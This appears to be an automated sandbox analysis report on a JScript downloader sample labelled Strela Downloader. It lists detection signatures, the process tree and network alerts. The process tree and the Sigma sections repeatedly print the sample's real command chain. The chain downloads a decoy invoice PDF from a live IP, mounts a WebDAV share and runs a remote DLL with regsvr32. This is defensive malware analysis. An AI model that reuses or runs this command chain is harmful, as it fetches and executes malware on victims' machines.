Edit tour

Windows Analysis Report
620128062590131002.js

Overview

General Information

Sample name:	620128062590131002.js
Analysis ID:	1587881
MD5:	170a702a6275962ceae1bc9e6fcdd47b
SHA1:	d3f07162f6b4fb57074779f725fd359c42f70039
SHA256:	b2013978cc9ba829ab97ed249f765be75ecd55621bc9d128fee3e8c794c95219
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6676 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1804 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3548 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1860 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5316 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7348 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1580,i,531056716790514186,3125811349222089333,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6772 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5144 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

conhost.exe (PID: 5468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7208 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6676	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1804, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3548, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1804, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3548, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js", ProcessId: 6676, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5144, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6676, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ProcessId: 1804, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6676, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ProcessId: 1804, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6676, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ProcessId: 1804, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6676, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ProcessId: 1804, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6676, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ProcessId: 1804, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js", ProcessId: 6676, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1804, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3548, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6772, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5144, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7208, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6772, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5144, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\620128062590131002.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6676, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ProcessId: 1804, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:01:57.006495+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:01:54.547468+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 620128062590131002.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 620128062590131002.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:01:54 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

